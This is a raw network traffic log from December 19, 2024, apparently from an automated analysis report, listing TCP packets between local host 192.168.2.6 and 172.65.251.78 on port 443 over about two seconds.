Dec 19, 2024 14:20:23.907356977 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:23.907394886 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:23.907526970 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:23.914472103 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:23.914486885 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:23.914633036 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:23.914643049 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:23.914812088 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:23.917560101 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:23.917576075 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:23.917668104 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:23.917675972 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:23.917687893 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:23.917711973 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:23.917767048 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:23.917834997 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:23.917841911 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:23.917982101 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:23.918231964 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:23.918248892 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:23.918312073 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:23.918320894 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:23.918436050 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:23.918487072 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:23.918536901 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:23.918590069 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:23.918591022 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:23.918590069 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:23.918601036 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:23.918626070 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:23.918706894 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:23.918706894 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:23.918719053 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:23.918842077 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:23.955712080 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:23.955738068 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:23.955884933 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:23.955884933 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:23.955909967 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:23.956084013 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:24.035037041 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:24.035056114 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:24.035126925 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:24.035140991 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:24.035171032 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:24.035238028 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:24.039611101 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:24.039627075 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:24.039736986 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:24.039745092 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:24.039799929 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:24.046556950 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:24.046576023 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:24.046763897 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:24.046775103 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:24.047008038 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:24.049972057 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:24.049993038 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:24.050048113 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:24.050055027 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:24.050093889 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:24.050265074 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:24.054311991 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:24.054335117 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:24.054406881 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:24.054414034 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:24.054441929 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:24.054933071 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:24.103204966 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:24.103236914 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:24.103298903 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:24.103311062 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:24.103344917 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:24.103368998 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:24.106790066 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:24.106826067 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:24.106971979 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:24.106971979 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:24.106981039 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:24.107069969 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:24.111852884 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:24.111870050 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:24.111931086 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:24.111938953 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:24.111963034 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:24.112051010 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:24.137592077 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:24.137609959 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:24.137706041 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:24.137713909 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:24.137754917 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:24.137754917 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:24.142241001 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:24.142257929 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:24.142352104 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:24.142360926 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:24.142477989 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:24.167376995 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:24.167393923 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:24.167545080 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:24.167557001 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:24.167613029 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:24.170147896 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:24.170165062 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:24.170217991 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:24.170234919 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:24.170283079 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:24.223707914 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:24.223733902 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:24.224366903 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:24.224366903 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:24.224380016 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:24.224450111 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:24.297982931 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:24.298002005 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:24.298166037 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:24.298182011 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:24.298238993 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:24.303060055 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:24.303076982 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:24.303191900 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:24.303200960 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:24.303333044 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:24.307832956 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:24.307851076 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:24.307943106 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:24.307950974 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:24.308011055 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:24.337500095 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:24.337517023 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:24.337627888 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:24.337641001 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:24.337879896 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:24.342713118 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:24.342730045 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:24.342844963 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:24.342844963 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:24.342854977 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:24.342957020 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:24.362268925 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:24.362288952 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:24.362406969 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:24.362406969 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:24.362420082 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:24.362579107 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:24.365233898 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:24.365250111 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:24.365619898 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:24.365629911 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:24.365694046 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:24.412651062 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:24.412669897 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:24.412731886 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:24.412744045 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:24.412813902 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:24.412813902 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:24.489886045 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:24.489919901 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:24.490044117 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:24.490044117 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:24.490056992 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:24.490418911 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:24.496217966 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:24.496243000 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:24.496300936 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:24.496318102 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:24.496345997 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:24.496392012 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:24.502135038 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:24.502156019 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:24.502212048 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:24.502218962 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:24.502305984 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:24.502305984 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:24.543214083 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:24.543251038 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:24.543296099 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:24.543304920 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:24.543339014 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:24.543354034 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:24.547358036 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:24.547379017 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:24.547463894 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:24.547471046 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:24.547508955 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:24.547565937 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:24.554560900 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:24.554582119 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:24.554637909 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:24.554642916 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:24.554738998 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:24.558939934 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:24.558962107 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:24.559005976 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:24.559011936 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:24.559122086 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:24.559122086 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:24.609425068 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:24.609457970 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:24.609626055 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:24.609637022 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:24.609685898 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:24.683058023 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:24.683084011 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:24.683161020 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:24.683181047 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:24.683212042 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:24.683382988 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:24.688304901 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:24.688325882 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:24.688391924 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:24.688419104 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:24.688452959 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:24.688644886 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:24.695637941 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:24.695668936 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:24.695903063 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:24.695903063 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:24.695919991 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:24.696094990 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:24.900818110 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:24.900897980 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:24.900943995 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:24.900958061 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:24.901025057 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:24.901025057 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:24.901235104 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:24.901281118 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:24.901335955 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:24.901343107 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:24.901371002 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:24.901391983 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:24.901535988 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:24.901578903 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:24.901618958 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:24.901626110 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:24.901649952 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:24.901730061 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:24.901921988 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:24.901974916 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:24.902014971 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:24.902021885 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:24.902043104 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:24.902080059 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:24.902179956 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:24.902245998 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:24.902255058 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:24.902273893 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:24.902322054 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:24.902322054 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:24.902431965 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:24.902472973 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:24.902591944 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:24.902592897 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:24.902592897 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:24.902616978 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:24.902662039 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:24.902673006 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:24.902673006 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:24.902686119 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:24.902767897 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:24.902767897 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:24.902779102 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:24.902803898 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:24.902841091 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:24.902879953 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:24.902879953 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:24.902888060 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:24.902901888 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:24.902925968 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:25.165858984 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:25.165888071 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:25.165976048 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:25.165988922 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:25.166049957 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:25.166059017 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:25.166109085 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:25.166124105 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:25.166132927 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:25.166177034 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:25.198540926 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:25.198587894 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:25.198683977 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:25.198683977 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:25.198698997 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:25.198736906 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:25.198784113 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:25.198820114 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:25.198832989 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:25.198846102 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:25.198925018 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:25.209414005 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:25.209487915 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:25.209599972 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:25.209599972 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:25.209609985 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:25.209682941 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:25.210072041 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:25.210149050 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:25.210167885 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:25.210175037 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:25.210215092 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:25.210453033 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:25.210545063 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:25.210553885 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:25.210601091 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:25.210676908 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:25.210726023 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:25.211003065 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:25.211098909 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:25.211173058 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:25.211173058 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:25.211182117 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:25.211292982 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:25.211901903 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:25.211942911 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:25.212039948 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:25.212039948 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:25.212047100 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:25.212061882 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:25.212111950 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:25.212141037 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:25.212141037 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:25.212152958 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:25.212182999 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:25.212207079 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:25.212302923 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:25.212342978 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:25.212358952 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:25.212368965 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:25.212402105 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:25.212419033 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:25.212467909 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:25.212593079 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:25.212604046 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:25.212614059 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:25.212630987 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:25.212641001 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:25.212662935 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:25.212668896 CET	443	49739	172.65.251.78	192.168.2.6
